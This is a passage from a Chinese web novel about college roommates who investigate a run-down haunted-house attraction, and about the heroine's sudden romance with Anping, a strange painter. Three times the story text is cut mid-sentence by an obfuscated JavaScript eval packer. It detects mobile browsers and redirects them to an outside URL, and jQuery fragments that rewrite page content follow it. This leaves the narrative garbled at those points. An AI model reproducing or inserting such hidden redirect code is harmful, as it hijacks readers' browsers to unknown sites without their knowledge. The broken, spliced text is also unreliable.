“我是说,这家店取名就叫做无名鬼屋。”方信艾笑着用手指点了点常喜乐的头。她之前去这鬼屋不是为了玩,而是出于兴趣去做了一周的鬼怪npc兼职。 几人特意去查看了各个app上关于“无名鬼屋”的用户评价,不少人都感叹“实在是太恐怖了!”这对于一个鬼屋来说非常正常,甚至算是好评。 “有三个人都提到,第三个关卡角落镜子里的小孩npc老是自言自语,不知道设置的意义在哪里。”常喜乐注意到评论中的一些共同点。 方信艾抬头附和:“是啊,我之前就在镜子后面负责拽人脚脖子,没人的时候我觉得无聊,但和他搭话他都不带理我的。” “可是,雇佣童工不是违法的吗?”常喜乐发现了盲点。 “明天去看看就知道了。”杨瑰司拍板。 “不儿,为啥我也要去鬼屋啊?”第二天下课后,常喜乐抱着教室门框不肯迈脚。方信艾拽着常喜乐的手臂,杨瑰司则试图说服她。 “你不是也觉得鬼屋有问题吗?”杨瑰司反而疑惑她临阵变卦。 “我说鬼屋可能性大!我又没说我要去!!!我很没用的,去了只会添乱。”常喜乐使劲摇头。 “宝贝,我不许你这么说自己,你很有用!”杨瑰司甩出一张传单给她看,上面画着各式各样的鬼怪,其中有一行红字格外触目惊心。 [四人成团,人均半价!] “他们家只能四个人起玩,人不够的话就得拼路人。但我们要做的事不方便让普通人参与,所以……” “我不是普通人吗?我也是普通人啊!”常喜乐悲愤道。 “一个看见黄鼠狼扮人的倒霉普通人?”杨瑰司慢条斯理地问她,“你还要不要我找师父帮你了?” “我们快走吧,再晚天就黑了。”常喜乐松开门槛,整了整衣襟,无事发生一般地准备和她们携手出发,她看着还没反应过来的两人,优雅道,“还有什么问题吗?” 方信艾点了点传单上的红字:“四人成团,我们还差一个。” 杨瑰司探头看向坐在教室里迟迟没离开的任清,敲了敲门问:“你去吗任清?” 方信艾昨天被她扶着回了宿舍,今早不尴不尬地道完谢后,还是没能回到原来要好的状态,因此她没有吭声。 常喜乐则预感任妹会拒绝,不仅是她上次就拒绝了一起去酒吧,还因为任妹也怕鬼。从她之前总说被有鬼的噩梦吓醒就能看出来。 任清果然摇了摇头说“不去”。 等走到宿舍楼下,方信艾还叹气:“那我们少了一个人,要拼路人吗?” 杨瑰司想了想,问她俩:“你们还有什么可靠的熟人吗?其实要求不多,能保守秘密,不多管闲事,胆子比你俩大就可以。” 就像恶犬喜欢追着害怕它的人咬,鬼亦如是。只要你不害怕鬼,它就无法奈你何。 然而她们来这学校满打满算也就一个月,认识的人虽然多,关系好的却很少。盘算了一番,竟然没有符合条件的人。 方信艾想了会儿,忽然转头问常喜乐:“你男友有空吗?” “诶?”常喜乐愣了愣,说实话,如果不是方信艾提起,她都没想起安平。 “你有男友?”杨瑰司微微惊讶。 “有,但不怪你不知道。他俩跟我平常看到的情侣完全不一样,人家热恋期都恨不得一天到晚在一块,到晚上了还互送对方回寝室黏糊个没完。”方信艾其实老早就想问了,“而你却一天到晚地和我们宅在宿舍,你真的有在谈恋爱吗?” 常喜乐的确和安平见面不多,大多数时候,她只是和安平一起坐在林环湖边,或者一起待在画室。她拿着相机拍面前的风景,而安平则安静地画她。 至于寻常的恋人是怎么相处的,常喜乐并不了解。 “那你不会觉得这样的恋爱很无聊吗?一点儿也不刺激。”方信艾真心实意地感到疑惑。 “可是,他真的长得好漂亮哦。”常喜乐眨眨眼,诚恳道,“一看到他的脸,有什么气都消了。” 方信艾不得不承认:“这倒确实。” 安平身边几乎没有什么别的朋友,他的确很适合保守秘密。然而常喜乐不禁想,他的胆子大吗? 他看起来总是很温柔,有书卷气。然而他们平时在一起交流的时间太少,常喜乐从没问过他怕不怕鬼。 想到这,她干脆拿出手机发了条消息。 (^v^) :[你怕鬼吗?] 过了整整十分钟,安平都没有回复。 常喜乐收起手机,坚强道:“他平常也不太爱看手机的。” 方信艾上一次听到这样的说辞还是杨瑰司形容她那世外高人一般的师父。说实话这些人的师徒关系、情侣关系,感觉还不如她和她邻家大哥之间的关系密切呢——至少每次放假她向邻家大哥发起夜宵邀请的时候,对方都是秒回。 她突然回想起来:“你是不是说过,他之前还告诉你他连手机都没有?” 常喜乐回想起来,也觉得好笑:“这是真事儿,当时我还以为,他是在为拒绝我找借口呢。” 那天在林环湖边上,安平将他为常喜乐作的画送给她后,这一幅画也就被常喜乐做成了她的社交头像。她美滋滋地把画纸卷好放在长圆筒里,准备等放假了再带回家裱起来。 “喜乐,你的头像好漂亮哦。”任清是第一个发现常喜乐的头像变了的人,原本她的头像是一只小白猫形状的云。 “什么头像,让我看看~”方信艾立刻赶来凑热闹,她点开常喜乐的微信头像,新图像过了一秒才刷新出来。下一秒两人就听见她的赞叹,“好好看!这是手工绘制的吗?” 常喜乐点了点头,就又听方信艾疑惑地“诶”了一声。她抬头有些不确定的问:“这和你今天打印的那张照片是在同一个地方对不对?” “没错,我跟你们说,那片湖超级漂亮,日出的时候去最美了!”常喜乐一提起这两天的经历就很兴奋,回想起来还是感觉像在做梦一样。 安平总是给人一种不真实的感觉,让她觉得像是梦里才会出现的那种小精灵。 “啊, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14323768|152048||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 找到了。”任清拿出她从学姐那要来的学校地图,点了点地图最西边的一片树林区,“是这里吗?” “这不是重点吧!”方信艾摸着下巴,敏锐如她,突然意味不明地笑了笑,问常喜乐,“这幅画,是不是你那张照片里的那个美人给你画的?” 她在“美人”一字上着重强调了一下。 “对。”常喜乐又点了点头,不过这一回她显得有些心不在焉,似乎在考虑什么事情。 以方信艾的感情经验来看,这种类似于交换信物的行为通常处于一段新感情的萌芽期,而常喜乐本人却不知道有没有意识到这点。 事实上,常喜乐原本是没有意识到的。 “原本”。 也就是说,她现在已经意识到了。 事情还要从她和安平早上的分别说起。 常喜乐和安平一起静静地欣赏完了整个日出的过程,随后她伸了个懒腰,笑着问安平:“这一次,你还是要告诉我,你没有手机吗?” 安平偏过头看她,似乎不太明白:“手机,有什么用呢?” “可以让距离遥远的两个人联系到对方?”常喜乐从没听过这个问题,她歪了歪头试着概括。 安平还在消化这句话的意思,而常喜乐则突然不再纠结这件事了。 她依旧不觉得一个在社会生活的普通人会没有手机,或者说,不可能连手机是做什么用的都不知道。说“没有”大概只是为了拒绝她而递出的台阶罢了。 很多人尽管互通了联系方式,可平生里甚至一个字也不会和对方讲。而有些人连对方的姓名都不知道,却可能已经共享了极为深刻的回忆。 经过了这两天,安平还是不想和她交换联系方式,那幅画也不过是对那张照片的回礼而已。 缘分不能强求,既然安平不愿意给,那她也不该强求。 “我明白了。”于是常喜乐释然地笑了笑,对他说,“那么,有缘再见吧。” 她站起身,打算回寝室再睡个回笼觉。 安平也站了起来,问她:“今天要送你回去吗?” 常喜乐摇了摇头,她拿出手机晃了晃,得意道:“我已经找到学校的地图咯!” 安平盯着她口中所说的“手机”,若有所思,连常喜乐再和他道别也没有反应。 等常喜乐快要走进树林的之后,安平突然问:“明天,还会再见面吗?” 常喜乐的脚步顿了顿,她回过头,有些不明白安平的意思:“你还有什么事情要做吗?” “没有事情,就不能见面了吗?”安平反问。 “那倒也不是……”常喜乐微微张了张嘴,一时有些不知道该怎么说,“但人与人见面,总是需要理由的呀?” 比如,我有话要对你说。 比如,我有东西要交给你。 比如,那家店听说好好吃的,我们一起去尝尝吧? “理由?”安平冥思苦想了一会儿,常喜乐还是第一次见到他这样为难的表情。 等到常喜乐都要不忍心地说“好了好了不用想了,其实没有理由也是可以见面的。”时候,安平才抬起头,似乎终于找到了非常标准的词汇来表达自己的想法: “因为我爱你。” “所以,想和你一起晒太阳、一起欣赏风景、一起坐着浪费时间。” 16.猫尾 诶? 常喜乐眨了眨眼。 诶?????? 这算是表白吗? 同学你的进度条也太快了吧说实话虽然你长得貌美又似乎很有才华但咱们今天也只是第二次见面呀真的可以就这么无所顾忌地表白吗! 常喜乐遇事喜欢凭着经验来处理,然而此刻的情况却让她觉得自己的大脑都宕机了片刻。 她从小到大并不是没有被人表过白。只是对她来说,一切的感情都应该是有迹可循的。可能是从邻座男生带的一顿早餐开始,可能从隔壁班男生频繁路过自己的窗边开始,可能从某个人一句带着脸红的搭讪开始。 有些人喜欢你,打眼一看就知道了。 常喜乐能瞧出这些感情的起点与终点,可是安平的这条线实在起得太突兀,他上一秒看起来还对常喜乐没什么兴趣,下一秒的表白却让她完全摸不着头脑。 不过对于告白,出于礼貌,无论如何是应该要给出答复的。 要答应安平吗?这当然是不太现实的,未免太快了些。可是要拒绝他吗?一和他那仿佛沁着水雾的蓝眸对视,常喜乐就说不出拒绝的话。 她的大脑胜似一团浆糊,下意识握紧了手机,这时才想起一件非常重要的具有决定性意义的事情,她匪夷所思道:“可你甚至连手机号码都不肯给我一个呀?” 安平的眼尾耷拉了下来,似乎不明白常喜乐突如其来的愤慨情绪是从何而起。他相当自然地用指尖蹭了蹭常喜乐的手背以作安抚,低声道:“你说的手机,我真的没有。” “你能告诉我在哪里能拿到吗?” 等到常喜乐站在手机店的柜台边,看着推销员认真地向安平介绍现在时兴的手机款式都有什么优点时,才终于信了他没有手机是事实。 老天,那他开学那阵是怎么完成报道的?有不少手续都得靠网络界面才能顺利进行呢。常喜乐根本无法想象。 “我们的运行内存是……有着实时云端存储技术……能够隔空手势互动……”安平听着面前的女人滔滔不绝的介绍,没忍住打断了她说话。 “我只是想要一个可以联系别人的手机。” 常喜乐面色古怪地看着他:这简直是一句废话。 “啊……”推销员则凭着良好的职业素养稳住了表情,心里没忍住埋怨:这人长得好看,嘴却毒的很。他说只想要最基础功能的手机,意思是嫌她刚才介绍的那些全是废话了。 她笑着说:“那这些手机都能满足您的需求呢,您可以自己挑选一个喜欢的。” “好的。”安平点了点头,又看了眼常喜乐,伸手指了个与她手中那个相同款式的手机,随后刷卡付了钱。 在常喜乐认识的人里,这年头用刷卡付账的人也是少之又少了。大家都在用手机附带的支付软件。 等他们走出店门,常喜乐非常耐心地为他下载好了基础软件,两人交换了联系方式后,她才郑重地说:“你刚才说的事情,我需要考虑一下。” “什么事情?”安平仍然面色新奇地研究手上这个小方盒似的玩意,没明白常喜乐的意思。 “考虑你的告白呀。”常喜乐蹙眉,开始怀疑安平刚才那段表白的郑重程度,这种事是能这么快就忘掉吗? 难道人在表白完后不会辗转反侧茶饭不思同手同脚吗?常喜乐从小到大的感情经验在安平面前一点作用都没有派上。 他看起来一点儿也没有表白过后等待结果的焦虑,实际上常喜乐本人看起来反而要更紧张一点。 “我爱你,需要你考虑什么呢?”安平还是不解。似乎对他来说,“我爱你”这句话从说完开始就已经完成了闭环,他只是表达,却没有等待过回应。 安平真的是个很奇怪的人!他难道是把“我爱你”当成“你好”一样量级的词汇在使用吗? 常喜乐指着他,难得发火了:“那么请问你是在开我的玩笑吗?不要以为你长得好看就可以随便支配他人的感情!如果你只是随便说说的话,我想我们以后也不必再联系了。” 安平这才有些紧张地盯着她,他观察了一会儿她的表情,过了会儿,才终于对某些事情的逻辑恍然大悟了:“如果,你考虑的结果是同意,我们就可以天天见面了吗?” “……理论上来说是这样的。”常喜乐被打断了情绪,她皱着眉,觉得面前这人果然只是个不可靠的随便找人表白的风流美人,“但如果你无论对什么人都能说出‘我爱你’这三个字,我想我也不必再考虑了。” “我已经将近半年没有和人说过话了。”安平诚恳道。 “噗……”这句话听起来一丁点儿可信度都没有,更像是用来哄女孩子的花言巧语,但由安平这张脸说出来却莫名得像实话,常喜乐没忍住笑出声来。 安平对这个话题却很郑重,他用双手握住常喜乐的肩膀,不错眼地盯着她,重申道:“是真的。” “好吧……那我再考虑考虑吧。”常喜乐笑得有些喘不过气来,她背过身,和安平挥了挥手示意道别,随后便回了宿舍。 …… “你们说,认识第二天就在一起,是不是太快了?”常喜乐坐在座位前纠结半天,终于决定请教自己的智囊团们。 “不快。” “很快。” 任清和方信艾同时作声,她们对视一眼,颇有些互不相让的意思。 “我跟你说,两天都不算快了,我和某任前男友见面第一天就确认关系了呢。”方信艾举了个身上的例子。 “一见钟情就是见色起意。”任清则淡淡地表示反对。 “诶,你谈过恋爱吗你?”方信艾不服气。 “那他怎么变前男友了?”任清寸步不让。 见俩人又斗起嘴来,常喜乐抬手哭笑不得地劝架,一时就把这让人头疼的问题抛之脑后了。 而某位信口就一句“我爱你”的安姓男子,正盯着手机列表里唯一一个名为“常喜乐”的聊天框,有些百思不得其解。 “不是说,加了好友之后,就能和对方保持联系吗?”他喃喃道。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14335735|152048||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她怎么不说话呢? 从前,总是安平盯着聊天框独自等待回应。谁能想到如今却角色互换了呢? 杨瑰司听常喜乐说完,点评道:“你们俩真是没有一点情侣的样子。” 但她又拍了拍常喜乐的肩膀,安慰道:“不回消息很正常。真的有这样的人,我师父就很少搭理我,但我知道她是爱我的!” 方信艾则问:“那你们平常要见面的话,一般都怎么联系对方呢?” 总不能是靠缘分随机遇见对方吧! “去湖边,或者画室。”常喜乐看了看时间,“现在这个点,他大概在画室。” 因为已经到了下午最后一节课下课的时间,大部分学生都已经骑着车涌向了食堂和小吃街。三个人逆着人流来到一栋大楼前。 “我怎么对这楼一点印象都没有呢,里面甚至没有人诶?”方信艾双手叉腰,仰头观察这栋安静的建筑,有些疑惑。 这座建筑看起来很有年头了,和最近学校翻修过的其他白色大楼格格不入。它用了红砖起楼,大门被疯长的藤蔓沿着边框缠绕,在门前垂下紫罗兰的花朵,如同一道门帘。 大楼的台阶前原本卧着几只猫咪在晒太阳,它们一听见人的脚步声就四散跑开了。 “我们才开学多久,哪能对每个建筑都熟悉?至于学生……应该都去吃饭了吧?现在正是饭点呢。”常喜乐没觉得哪里不对,她就像回家一样轻车熟路地抬脚往里走去。 这栋楼也是山城大学除了宿舍楼外难得没有电梯的教学楼,几人爬到四楼的时候,脆弱的女大学生方信艾已经开始喘不匀气儿了。 见那画室远在走廊的另一头,方信艾扶着墙恢复体力,她和杨瑰司自觉地站在楼梯口,对常喜乐挥挥手说:“你去找找吧,我们在这等你。” 常喜乐耸了耸肩膀,慢慢地朝着走廊最末间走去。 这一层楼平常都是极安静的,然而今天她却听见那末间的房里传来好多人的争执声。 是安平的同学或者朋友吗? 常喜乐忽然想到,这么多天,她从来没有见过安平这一边的朋友,一个都没有。 随着距离变短,房间里的声音也逐渐清晰。 “是她吗?” “谁呀?谁来啦?” “是我们的大嫂呀!” 这些声音有男有女,有稚童有老人,交杂在一块儿好不热闹。 但在最后,这一切都被一道沉静的男声盖住了。 “嘘。”他说,“她来了。” 尽管这人已经把音量放得极轻,然而常喜乐却立刻就听出来,这是安平的声音。 她按下门把手,打开了面前这道她无比熟悉的木门。 然而,那画室里却空无一人。 画板上尚且有幅显然没画完的落日余晖图,正对门口的大方窗边上有只猫正悄然离去,只剩条蓬松的大白尾巴轻甩着消失在常喜乐的视线中。 常喜乐慢慢走进房间,她弯腰凑近这幅画——上面的颜料还没有干。 17.无名鬼屋 “我的幻听已经到这种程度了吗?”常喜乐怔怔,她刚才分明听到有人在说话,甚至听到了安平的声音。 “滴滴。”口袋里的手机震动了两下,常喜乐拿出来看了眼。 安平:[回头] 常喜乐转过身,见安平倚在门框上看她。 “你是什么时候来的?”常喜乐甚至没有听见他的脚步声,这层楼的其他画室都是锁住的,而且这间房已经是末间。假如安平是从楼梯间上来的,就势必会遇见杨瑰司她们。 但并没有,方信艾刚才还发信息问她见到人没。 “为什么问我怕不怕鬼?”安平没有直接回答,他走上前来,不着痕迹地看了一眼木质地板。 “啊,差点忘记了。”这么一说常喜乐才想起说正事,“要不要和我去鬼屋玩?” “鬼屋?”安平重复了一遍这个词,问,“有很多鬼的房子吗,去那里玩?” “没有真的鬼啦,是人假扮的。不对,其实也可能有真的鬼……你就说要不要去嘛!”时间紧迫,常喜乐来不及解释了,她扯扯他的袖子,眨眨眼,“我们都还没有正式约会过诶!” 约会,安平知道的。每次在林环湖边写生,尤其是晚上,总能见到不同的男女散步或者聊天。 总之,约会是个好词,至于去哪,不重要。 “走吧。”安平又看了眼那颜料未干的画纸,拉起常喜乐的手往外走。 “你的画不收一下吗,会不会被人拿走什么的?”常喜乐边往门边走边回头,临走前,被落日在地板上反射的光晃了晃眼睛。 “不会。”安平不甚在意道,“没有画完,不值钱。” 尽管从现实角度来说,即使画完可能都不值钱,但常喜乐认真地反驳他:“作品即人,就算在别人眼里是不值钱的画,在我眼里却是你心血的倾注,是无价之宝。当然应该好好保管。” 安平回头看她,犹豫了一会儿,问:“那,我画完送给你?” “我倒不是这个意思……”常喜乐小跑了几步跟上他的步伐,“不过你愿意送给我的话,我也会很开心!” “姑奶奶,你终于出来了。天都黑了,要没时间吃饭啦!”方信艾早就从爬楼的疲惫中缓过来了,她大老远嚷嚷着赶快出发,但在看清安平的时候还是愣了会儿。 杨瑰司和安平对视了很久。她的眼睛里并没有方信艾那样的惊艳感,相反她戒备的情绪要更多一些。但杨瑰司原本就是这样生人勿近的性格,常喜乐没太在意。 她乐呵呵地互相为双方介绍着:“这是我的男友安平,这两位是我的室友方信艾和杨瑰司,打个招呼吧!” 她没注意到的是,与以往相比,安平的身形也显得紧绷许多。 常喜乐和安平并排走在方信艾她们的后面。平常咋咋呼呼的方信艾这会儿突然哑火了,低头不知道看着什么。与此同时,常喜乐和杨瑰司口袋里的手机一刻不停地以相同的频率在震动。 在沉默弥漫中,常喜乐没忍住拿出了手机。 宿舍群已经累积二十多条消息,并且这一数量在持续增加。 (小艾拍了拍(^v^)并夸她可爱) 小艾:[上次看到照片的时候我就知道你男友长相不俗] 小艾:[我没想到他竟然还不上镜!] 小艾:[恁爹的这也太不俗了,简直堪称艺术品啊!] 小艾:[谁懂啊啊啊啊啊(跑来跑去)] 然后是一大串“阴暗爬行”的表情包。 任妹终于没忍住打断她: 任清:[请问] 任清:[你们不是在一块吗,为什么要发消息?] 任妹已经好久没有参与她们的对话了,看起来这会儿实在没憋住。 王鬼:[我也想问] 小艾:[那怎样,我是要当着喜乐男友的面夸他帅吗?男人不能夸,会骄傲的] 任清:[所以到底有多好看?] 小艾:[我很难和你形容,也不能拍给你看,因为他不上镜。] 安平看着身边埋头在手机上噼里啪啦打字的三个人,默默拿出自己的手机。 他的手机屏幕一片空白,安静如鸡。 下一秒,他将手掌抵在常喜乐的额头前。随着轻轻的“砰”的一声响起,常喜乐懵懵地抬头看,才发现自己差点撞到楼梯拐角的落地玻璃窗上。前边的方信艾和杨瑰司则一不小心你脚绊我脚地踉跄了一下,撑着楼梯扶手才好悬没摔倒。 “是我对约会的定义有误解吗?”安平真心实意困惑,他亮出手机屏幕,页面上的搜索引擎上赫然显示着一行字:什么是约会? 搜索结果显示: “约会是两个人事先约好时间、地点进行会面。” 他的指尖特意在“两个人”这三个字上点了点。 “嗯……”常喜乐无言反驳,但她很快开朗道,“那我们今天先团建,下次再约会怎么样?” 安平沉默,他低头又开始搜“团建”是什么意思。至此“低头族”四人团正式成形,并且一块儿撞在了下一个楼梯拐角的落地玻璃窗上。 常喜乐吃痛地揉了揉终究没能幸免的额头,在寝室群外,还有一条信息,是杨瑰司单发给她的。 (王鬼撤回了一条消息。) 常喜乐:? (^v^) :[撤回了啥?] 王鬼:[算了,我不确定,回头再说。] 等几人走出大楼,方信艾伸了个懒腰问:“晚饭去吃什么呢朋友们?”尽管这些天她没再感觉到那股排山倒海般的饥饿感侵袭,但不知是不是习惯使然,她依旧对美食格外热衷。 由于时间要来不及了,几人随便找了家店吃了个便餐,之后便来到了那栋鬼屋所在的大楼。 按理说,七八点正是夜间娱乐的好时候,这条街上也有许多人在夜游,然而一进大楼,冷清感却扑面而来。一楼只有一位保安坐着打盹,他身后的墙上是个公告栏,上面贴着一张张广告以及寻人、寻物启事。 墙角的摄像头甚至垂落下来,只由一根垂脱的电线勉强挂着,上面还结了蛛网,不知道是否还在运作。几人打算坐电梯时,甚至发现这栋楼的电梯是坏的。 “我都忘记了,咱们得爬楼梯。”方信艾哀嚎着,她今天已经被迫爬了很多层楼。 杨瑰司则狐疑道:“真的有人会来这里消费吗,也太破旧了吧。” 好在无名鬼屋所在的那层楼不算太高,等他们走到四楼时,看见前台坐着个撑着脸昏昏欲睡的男人。 他被脚步声惊醒,眼睛还没来得及睁开就下意识道:“欢迎光临!请问几位?” 然后他眯着眼睛,不确定般看了又看,惊讶道:“这不是小艾嘛?” 方信艾笑着打了个招呼:“张哥还记得我呐?” “当然啦,之前你负责拽人脚腕被人踩得哇哇大哭,哪回不是我亲自带你去的医院?”这位姓张的男人好笑道。 方信艾咳了几声,给他使使眼色:“这个就不用讲得这么细了吧……” 张哥把手一摊:“害,我已经讲完了。” 随后他瞟了几人一眼,就打着键盘在电脑上操作:“请问这边是打算另外买券还是店内直购门票呢?” 方信艾对这一块儿熟门熟路,她干脆地和张哥攀谈起来,顺便为她们再讨了个比半价还要友情的友情价。 张哥一边拉开通往房间内的门,一边和她们说了一些注意事项,随后叮嘱道:“遇到不能沟通的npc ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14361814|152048||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不用纠结,直接略过即可。” 进门后,方信艾挠了挠头,纳罕道:“是我太久没来了吗,以前的注意事项里不用说这个的啊?” 身后的大门缓缓关上,等常喜乐适应了从明到暗的场景后,映入眼帘的就是血呼啦差的一面墙。雪白的墙面上画了个血红的左箭头,痕迹还没干,多余的液体就缓慢地顺着墙壁下流,在白墙上一道道挂着。摆在四人面前的是个选择题——顺着箭头示意左拐;或者与提示背道而驰,向右转。 这个开场对一般的新手来说算是比较温和了,四个人看到这一幕的反应各异。 方信艾在这里工作了一段时间,她本人对这个鬼屋构造熟悉得很,根本没在怕的。 杨瑰司也是见过大风大浪的人了,她抱着手臂饶有兴致地研究起来:“往左走?还是往右?这个油漆是怎么做到隐隐散发血腥味儿的?” 常喜乐面无表情,但她抓着安平的手紧了紧。过了会,她才发现,不止她在使力,安平同样回握地很紧。 她抬头看,只见他紧盯着前方,眉宇间很戒备。 要不怎么说人生是对比出来的呢?难怪安平没有正面回答她“怕不怕鬼”。如今看来,答案也很明了了,只是某人不愿意承认。 看到安平也害怕,常喜乐反而放轻松了。她拍了拍安平的后背,大方道:“没事儿!我保护你。” 安平看她,他忍了好一会儿才没问出“你不是怕鬼吗?”的疑问。 “我在这儿兼职的时候,往左走的路线要温和一点。但是因为偶尔会有玩过的客人和别人剧透,我们店隔段时间会换一次布置顺序。所以我也不太了解现在的鬼npc改到哪边了。”方信艾摸着下巴有些拿不准主意。 “我判断不出这么精确的东西。”见两个姑娘都望着自己,杨瑰司摇了摇头。对她来说这整家店就弥漫着股诡异的气息,然而源头具体在哪却很难确认。 “唉,那只能看运气了。”方信艾苦恼道,提到“运气”,她突然想起什么似的转头看向常喜乐,“咦?” 常喜乐注意到她的视线,预感不太好:“你想说什么?” “喜乐你最近的运气不是超级衰的吗?不如你来选吧!”方信艾总是很有能力把这种听起来很惨的事情说得很乐观。 常喜乐苦着脸说:“让我选的话,就一定会遇到鬼。” 因为她的运气就是越怕什么越来什么。 “我们的目的不就是要遇到鬼吗?”杨瑰司赞成方信艾的意见。 常喜乐心想:话倒没毛病。 如果有旁人在听她们交流,一定会以为这里所说的鬼是指npc,然而只有她们心知肚明。她们在讨论的就是那种超脱于常理存在的“鬼”。 常喜乐叹了口气,感觉到手心被人轻轻捏了捏,她回头,看到安平就站在她身边,用气音对她说:“别怕。” “我保护你。” 常喜乐用力点点头,她闭了闭眼睛,视死如归地指着左边说:“往这走。” “且慢。”几人刚打算往左边走,杨瑰司突然又拦住了她们。 “怎么了?”方信艾疑惑。 杨瑰司打量着常喜乐,突然问:“你刚才做选择的时候,心里想的是要遇见鬼还是不要?” “要遇见啊。”常喜乐理所当然道,如杨瑰司刚才所说,这才是她们的目的。 “往右走吧。”杨瑰司当机立断调转方向。 “为什么啊?”常喜乐摸不着头脑。 “运气不好,是越想要什么,就越得不到什么。”杨瑰司冷静分析,“你想见鬼,那我们就往你选的反方向走。” 常喜乐一阵沉默。 呜呜,请不要把我的倒霉当成道具用好吗?谢谢。 18.墙 以杨瑰司为首,四人向着右边的方向走去,但微妙地两两前后分开。 安平一直微微领先于常喜乐,等走过半段走廊之后,常喜乐终于有点忍不住了,她戳了戳安平问:“你不是说要保护我吗?” 安平点点头。 常喜乐悲痛道:“那你怎么还让我负责垫底,这对吗!你知道后面有多黑暗多冷吗?” 安平看了开道的两个女生一眼,犹豫道:“我觉得前边更危险。” “一看你们就没玩过鬼屋,有时候为了调动一些太过害怕而长时间待在原地或者移动缓慢的客人,我们可能会让npc从后面展开追逐战哦。”耳朵很尖的方信艾立刻坏笑着开始科普。 “什么?!”常喜乐想象了一下那个场景,立刻往前赶了几步,随后她可怜巴巴地看了眼安平,不知想到了什么,最后视死如归地后退一步与他并齐,“算了,有难一起扛吧,走。” 安平不明所以,他其实想说点什么,但最终还是选择了住口。 然而,说npc npc到,不知是不是因为最开始选择方向的时候耽误的时间久了些,工作人员开始催进度了。 尽管常喜乐知道这些npc并不会对自己做什么,但她完全接受不了追逐战。她从小被逗自己玩的大人佯追的时候就忍不住要逃跑,哪怕被追上之后什么也不会发生。 但是,“不能被追上”这句话一直铭刻在她的心里。 从走廊末尾传来机器轰鸣的声音,一个穿着染血白大褂、披头散发的男人狞笑着拿着电锯冲了上来。 “啊啊啊啊!”常喜乐拔腿就跑,跑的时候还没忘记拽上安平。 方信艾和杨瑰司相对没那么害怕,但方信艾还是劝杨瑰司说:“被他逮到的人得独自去做支线任务,我个人不太建议被抓到,快跑啊——” 然而这条走廊太窄,无法支持四个人同时快速地奔跑,等四人跑到走廊尽头时,那扇通往其他道路的木门正在缓缓地关上。 杨瑰司边跑边回头看情况,按照这鬼屋的调性,木门会在两到三人通过后彻底关上。依趋势看剩下的大概就是常喜乐或者安平了。见常喜乐面色苍白如纸,是真被吓着了,她不禁叹了口气。 临到木门前,杨瑰司干脆停下了脚步,另外三人还没反应过来就已经越过她进了木门。 “瑰司!”常喜乐下意识想再返回去,被安平揽住了肩膀,而木门也在她们面前彻底关上了。 “没事。我本来就要去看看,后面再汇合。”女生的声音从门后传来,原本语调清朗,然而被门一挡,又显得有些沉闷。 的确,她们今天来的目的就是要撞鬼。因此一切行为逻辑都应该要和常人反着来。别人琢磨着怎么逃跑,她们就应该直面而上。 常喜乐抬头看安平,不知道是因为他原本就白,还是这么一跑给吓着了,他的面色苍白至极,没有一丝血色。 常喜乐感同身受,因为她自己也是一样害怕。她拍了拍安平的肩膀,安抚道:“别怕别怕,都是假的。” 安平有些疑惑地看了她一眼,摇了摇头:“不止一个人。” “什么?”常喜乐没太听明白。 “刚才追我们的,不止一个人。”安平低头看常喜乐。 “哈哈……喜乐,你男朋友讲的鬼故事还挺像那么回事的。”方信艾干笑了两声,解释道,“但我们在那个环节基本上只安排一个人进行追逐战,没有别人。” “我也没有看到别的人。”常喜乐摇了摇头。 安平垂了垂眼,也不再多说:“但你那个朋友不会有事的,我们走吧。” 当然不会有事了。但常喜乐听着这话,总觉得哪里怪怪的。不过她们如果再在原地耽搁下去,不知道又要从哪里窜出个npc鞭策她们逃跑了。因此当务之急还是先继续往前走,等到达方信艾所说的镜屋后和杨瑰司会面最要紧。 说来也奇怪,接下来的路段有很多机关和着装血腥的npc,但常喜乐却不觉得害怕。她们一路有惊无险地通过关卡,最后来到了镜屋。 一进门,昏暗的灯光下,房间里出现了数不清的常喜乐、安平和方信艾。每迈出一步都需要考虑好方向,否则就会在镜子群落中迷失方向。同时伴随着诡异的音乐声外,还有隐约的小孩哭声。 “这哭声是录制的音频还是请了人来啊?”这哭声实在有些凄厉,常喜乐不禁打了个寒战。 “录音吧?我也不太清楚。”方信艾耸耸肩膀,“以前就一直有。” 几人观察了房间后,并没有看见杨瑰司,不知道她们是来早了还是来晚了。 “你之前说,被抓脚腕是在哪面镜子前?”此时的信息差显得很关键,常喜乐实在不愿意被人碰到脚脖子。她怕痒,是真的会忍不住往拽她的人手上踩一脚的应激程度。 